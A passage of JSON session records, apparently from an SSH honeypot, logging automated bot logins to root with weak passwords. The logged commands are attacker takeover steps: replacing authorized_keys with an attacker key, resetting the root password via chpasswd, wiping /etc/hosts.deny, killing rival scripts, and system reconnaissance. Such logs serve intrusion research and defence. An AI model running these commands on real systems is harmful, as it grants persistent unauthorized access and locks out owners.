~"},{"seq":3,"at":"2026-08-26T15:29:45.951423+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:29:46.319948+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:29:47.077146+00:00","kind":"input","latency_ms":null,"data":"echo \"root:u5op6r91R7HF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:29:47.833439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:29:48.589994+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:29:48.965908+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:29:49.725080+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:29:50.811816+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:29:51.572272+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:29:52.831173+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:29:53.591724+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:29:54.483758+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:29:55.242418+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:29:55.761175+00:00","kind":"output","latency_ms":null,"data":" 15:29:55 up 6 days, 12:20, 0 user, load average: 0.15, 0.1, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:29:56.526602+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:29:57.390687+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:29:58.150177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:29:59.007018+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:29:59.763193+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:30:00.233668+00:00","kind":"output","latency_ms":null,"data":"top - 15:30:00 up 6 days, 12:20, 0 user, load average: 0.15, 0.1, 0.17\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:30:00.991126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:30:01.849135+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:30:02.605513+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:30:03.241207+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:30:04.000938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:30:04.881348+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:30:05.638374+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:30:06.658795+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:30:07.416231+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:30:08.605922+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cm123456","method":"password","accepted":true,"tier":"other"}]} {"id":"cde989e9-5ca8-4956-b3d5-de0e287d64bf","name":"regal-dusty-civet","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40835,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:27:28.014575+00:00","ended_at":"2026-08-26T15:27:29.715057+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T15:27:01.384186+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:27:02.144503+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:27:07.743531+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:27:08.264328+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:27:09.025208+00:00","kind":"input","latency_ms":null,"data":"echo \"root:OZiPDgVWZjGr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:27:09.786807+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:27:10.546526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:27:11.410883+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:27:12.170821+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:27:13.559341+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:27:14.322718+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:27:15.677625+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:27:16.440877+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:27:16.949286+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:27:17.713592+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:27:18.061493+00:00","kind":"output","latency_ms":null,"data":" 15:27:18 up 6 days, 12:17, 0 user, load average: 0.12, 0.13, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:27:18.824487+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:27:19.133720+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:27:19.897422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:27:20.494565+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:27:21.258967+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:27:21.628826+00:00","kind":"output","latency_ms":null,"data":"top - 15:27:21 up 6 days, 12:17, 0 user, load average: 0.12, 0.13, 0.1\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:27:22.391148+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:27:22.768439+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:27:23.529762+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:27:24.085397+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:27:24.847166+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:27:25.427920+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:27:26.189882+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:27:27.251694+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:27:28.015665+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:27:29.471380+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"456654","method":"password","accepted":true,"tier":"other"}]} {"id":"cd14acdb-0532-4637-a57b-d4614e87e7b8","name":"nimble-gritty-puffin","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40820,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:13:47.024035+00:00","ended_at":"2026-08-26T15:13:48.740742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T15:13:19.797518+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:13:20.544217+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:13:26.213407+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:13:26.783221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:13:27.531706+00:00","kind":"input","latency_ms":null,"data":"echo \"root:eINlW6AjDcPQ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:13:28.280314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:13:29.026230+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:13:29.539831+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:13:30.288475+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:13:31.806228+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:13:32.555421+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:13:33.771361+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:13:34.520356+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:13:35.222806+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:13:35.970895+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:13:36.667554+00:00","kind":"output","latency_ms":null,"data":" 15:13:36 up 6 days, 12:03, 0 user, load average: 0.08, 0.1, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:13:37.415167+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:13:38.234054+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:13:38.982353+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:13:39.261154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:13:40.006131+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:13:40.386145+00:00","kind":"output","latency_ms":null,"data":"top - 15:13:40 up 6 days, 12:03, 0 user, load average: 0.08, 0.1, 0.05\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:13:41.135496+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:13:41.618259+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:13:42.365228+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:13:42.916106+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:13:43.665222+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:13:44.364719+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:13:45.112611+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:13:46.277591+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:13:47.024997+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:13:48.498531+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aa123321","method":"password","accepted":true,"tier":"other"}]} {"id":"b7e8f21d-e68e-4ba7-a684-1d1ce330c1a2","name":"thawing-fleeting-egret","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52494,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:11:24.442968+00:00","ended_at":"2026-08-26T15:11:26.716417+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:10:54.365584+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:10:54.665524+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:10:59.051384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:11:00.597728+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:11:00.899288+00:00","kind":"input","latency_ms":null,"data":"echo \"root:mF4aHN0qVJ0k\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:11:01.198796+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:11:01.498663+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:11:02.383710+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T15:11:03.071384+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T15:11:03.372224+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T15:11:05.280110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T15:11:05.582946+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T15:11:06.633401+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T15:11:06.935073+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T15:11:08.706833+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T15:11:09.009431+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T15:11:11.019731+00:00","kind":"output","latency_ms":null,"data":" 15:11:11 up 6 days, 12:01, 0 user, load average: 0.06, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T15:11:11.320927+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T15:11:13.045714+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T15:11:13.345226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T15:11:14.391491+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T15:11:14.692170+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T15:11:16.246990+00:00","kind":"output","latency_ms":null,"data":"top - 15:11:16 up 6 days, 12:01, 0 user, load average: 0.06, 0.05, 0.06\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T15:11:16.544522+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T15:11:18.291025+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T15:11:18.591155+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T15:11:19.866925+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T15:11:20.167360+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T15:11:21.988614+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T15:11:22.289299+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T15:11:24.143143+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T15:11:24.443792+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T15:11:26.631137+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Ab","method":"password","accepted":true,"tier":"other"}]} {"id":"8a19b655-7d8b-4913-9ce0-f0eea4c236dc","name":"velvet-spirited-camel","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40817,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":754,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:11:09.396540+00:00","ended_at":"2026-08-26T15:11:11.023513+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:10:40.896275+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:10:41.648372+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:10:48.037516+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:10:48.660352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:10:49.414165+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xAGLuUneNnOD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:10:50.166503+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:10:50.918018+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:10:51.326213+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:10:52.079072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:10:53.491187+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:10:54.245630+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:10:55.295346+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:10:56.051427+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:10:56.607137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 